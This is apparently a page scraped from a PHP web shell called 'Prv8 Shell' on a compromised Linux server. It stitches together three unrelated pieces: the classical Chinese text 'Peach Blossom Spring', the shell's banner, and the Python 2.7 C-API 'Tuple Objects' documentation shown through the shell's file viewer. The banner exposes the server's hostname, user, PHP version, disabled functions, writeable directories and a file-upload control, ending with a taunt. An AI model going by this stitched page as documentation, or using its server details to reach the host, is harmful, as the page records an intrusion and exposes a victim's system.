晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/c-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/c-api/tuple.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Tuple Objects &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="List Objects" href="list.html" />
    <link rel="prev" title="Buffers and Memoryview Objects" href="buffer.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/c-api/tuple.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="list.html" title="List Objects"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="buffer.html" title="Buffers and Memoryview Objects"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >Python/C API Reference Manual</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="concrete.html" accesskey="U">Concrete Objects Layer</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="tuple-objects">
<span id="tupleobjects"></span><h1>Tuple Objects<a class="headerlink" href="#tuple-objects" title="Permalink to this headline">¶</a></h1>
<span class="target" id="index-0"></span><dl class="type">
<dt id="c.PyTupleObject">
<code class="descname">PyTupleObject</code><a class="headerlink" href="#c.PyTupleObject" title="Permalink to this definition">¶</a></dt>
<dd><p>This subtype of <a class="reference internal" href="structures.html#c.PyObject" title="PyObject"><code class="xref c c-type docutils literal notranslate"><span class="pre">PyObject</span></code></a> represents a Python tuple object.</p>
</dd></dl>

<dl class="var">
<dt id="c.PyTuple_Type">
<a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject">PyTypeObject</a> <code class="descname">PyTuple_Type</code><a class="headerlink" href="#c.PyTuple_Type" title="Permalink to this definition">¶</a></dt>
<dd><p id="index-1">This instance of <a class="reference internal" href="type.html#c.PyTypeObject" title="PyTypeObject"><code class="xref c c-type docutils literal notranslate"><span class="pre">PyTypeObject</span></code></a> represents the Python tuple type; it is
the same object as <code class="docutils literal notranslate"><span class="pre">tuple</span></code> and <code class="docutils literal notranslate"><span class="pre">types.TupleType</span></code> in the Python layer..</p>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_Check">
int <code class="descname">PyTuple_Check</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_Check" title="Permalink to this definition">¶</a></dt>
<dd><p>Return true if <em>p</em> is a tuple object or an instance of a subtype of the tuple
type.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.2: </span>Allowed subtypes to be accepted.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_CheckExact">
int <code class="descname">PyTuple_CheckExact</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_CheckExact" title="Permalink to this definition">¶</a></dt>
<dd><p>Return true if <em>p</em> is a tuple object, but not an instance of a subtype of the
tuple type.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.2.</span></p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_New">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyTuple_New</code><span class="sig-paren">(</span>Py_ssize_t<em>&nbsp;len</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_New" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><p>Return a new tuple object of size <em>len</em>, or <em>NULL</em> on failure.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>len</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_Pack">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyTuple_Pack</code><span class="sig-paren">(</span>Py_ssize_t<em>&nbsp;n</em>, ...<span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_Pack" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><p>Return a new tuple object of size <em>n</em>, or <em>NULL</em> on failure. The tuple values
are initialized to the subsequent <em>n</em> C arguments pointing to Python objects.
<code class="docutils literal notranslate"><span class="pre">PyTuple_Pack(2,</span> <span class="pre">a,</span> <span class="pre">b)</span></code> is equivalent to <code class="docutils literal notranslate"><span class="pre">Py_BuildValue(&quot;(OO)&quot;,</span> <span class="pre">a,</span> <span class="pre">b)</span></code>.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.4.</span></p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>n</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_Size">
Py_ssize_t <code class="descname">PyTuple_Size</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_Size" title="Permalink to this definition">¶</a></dt>
<dd><p>Take a pointer to a tuple object, and return the size of that tuple.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function returned an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type. This might require changes
in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_GET_SIZE">
Py_ssize_t <code class="descname">PyTuple_GET_SIZE</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_GET_SIZE" title="Permalink to this definition">¶</a></dt>
<dd><p>Return the size of the tuple <em>p</em>, which must be non-<em>NULL</em> and point to a tuple;
no error checking is performed.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function returned an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type. This might require changes
in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_GetItem">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyTuple_GetItem</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em>, Py_ssize_t<em>&nbsp;pos</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_GetItem" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Return the object at position <em>pos</em> in the tuple pointed to by <em>p</em>.  If <em>pos</em> is
out of bounds, return <em>NULL</em> and sets an <a class="reference internal" href="../library/exceptions.html#exceptions.IndexError" title="exceptions.IndexError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">IndexError</span></code></a> exception.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>pos</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_GET_ITEM">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyTuple_GET_ITEM</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em>, Py_ssize_t<em>&nbsp;pos</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_GET_ITEM" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: Borrowed reference.</em><p>Like <a class="reference internal" href="#c.PyTuple_GetItem" title="PyTuple_GetItem"><code class="xref c c-func docutils literal notranslate"><span class="pre">PyTuple_GetItem()</span></code></a>, but does no checking of its arguments.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>pos</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_GetSlice">
<a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a>* <code class="descname">PyTuple_GetSlice</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em>, Py_ssize_t<em>&nbsp;low</em>, Py_ssize_t<em>&nbsp;high</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_GetSlice" title="Permalink to this definition">¶</a></dt>
<dd><em class="refcount">Return value: New reference.</em><p>Take a slice of the tuple pointed to by <em>p</em> from <em>low</em> to <em>high</em> and return it
as a new tuple.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>low</em> and <em>high</em>. This might
require changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_SetItem">
int <code class="descname">PyTuple_SetItem</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em>, Py_ssize_t<em>&nbsp;pos</em>, <a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*o</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_SetItem" title="Permalink to this definition">¶</a></dt>
<dd><p>Insert a reference to object <em>o</em> at position <em>pos</em> of the tuple pointed to by
<em>p</em>. Return <code class="docutils literal notranslate"><span class="pre">0</span></code> on success.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function “steals” a reference to <em>o</em>.</p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>pos</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_SET_ITEM">
void <code class="descname">PyTuple_SET_ITEM</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*p</em>, Py_ssize_t<em>&nbsp;pos</em>, <a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;*o</em><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_SET_ITEM" title="Permalink to this definition">¶</a></dt>
<dd><p>Like <a class="reference internal" href="#c.PyTuple_SetItem" title="PyTuple_SetItem"><code class="xref c c-func docutils literal notranslate"><span class="pre">PyTuple_SetItem()</span></code></a>, but does no error checking, and should <em>only</em> be
used to fill in brand new tuples.</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">This function “steals” a reference to <em>o</em>.</p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>pos</em>. This might require
changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c._PyTuple_Resize">
int <code class="descname">_PyTuple_Resize</code><span class="sig-paren">(</span><a class="reference internal" href="structures.html#c.PyObject" title="PyObject">PyObject</a><em>&nbsp;**p</em>, Py_ssize_t<em>&nbsp;newsize</em><span class="sig-paren">)</span><a class="headerlink" href="#c._PyTuple_Resize" title="Permalink to this definition">¶</a></dt>
<dd><p>Can be used to resize a tuple.  <em>newsize</em> will be the new length of the tuple.
Because tuples are <em>supposed</em> to be immutable, this should only be used if there
is only one reference to the object.  Do <em>not</em> use this if the tuple may already
be known to some other part of the code.  The tuple will always grow or shrink
at the end.  Think of this as destroying the old tuple and creating a new one,
only more efficiently.  Returns <code class="docutils literal notranslate"><span class="pre">0</span></code> on success. Client code should never
assume that the resulting value of <code class="docutils literal notranslate"><span class="pre">*p</span></code> will be the same as before calling
this function. If the object referenced by <code class="docutils literal notranslate"><span class="pre">*p</span></code> is replaced, the original
<code class="docutils literal notranslate"><span class="pre">*p</span></code> is destroyed.  On failure, returns <code class="docutils literal notranslate"><span class="pre">-1</span></code> and sets <code class="docutils literal notranslate"><span class="pre">*p</span></code> to <em>NULL</em>, and
raises <a class="reference internal" href="../library/exceptions.html#exceptions.MemoryError" title="exceptions.MemoryError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">MemoryError</span></code></a> or <a class="reference internal" href="../library/exceptions.html#exceptions.SystemError" title="exceptions.SystemError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">SystemError</span></code></a>.</p>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.2: </span>Removed unused third parameter, <em>last_is_sticky</em>.</p>
</div>
<div class="versionchanged">
<p><span class="versionmodified">Changed in version 2.5: </span>This function used an <code class="xref c c-type docutils literal notranslate"><span class="pre">int</span></code> type for <em>newsize</em>. This might
require changes in your code for properly supporting 64-bit systems.</p>
</div>
</dd></dl>

<dl class="function">
<dt id="c.PyTuple_ClearFreeList">
int <code class="descname">PyTuple_ClearFreeList</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#c.PyTuple_ClearFreeList" title="Permalink to this definition">¶</a></dt>
<dd><p>Clear the free list. Return the total number of freed items.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.6.</span></p>
</div>
</dd></dl>

</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h4>Previous topic</h4>
  <p class="topless"><a href="buffer.html"
                        title="previous chapter">Buffers and Memoryview Objects</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="list.html"
                        title="next chapter">List Objects</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/c-api/tuple.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="list.html" title="List Objects"
             >next</a> |</li>
        <li class="right" >
          <a href="buffer.html" title="Buffers and Memoryview Objects"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >Python/C API Reference Manual</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="concrete.html" >Concrete Objects Layer</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025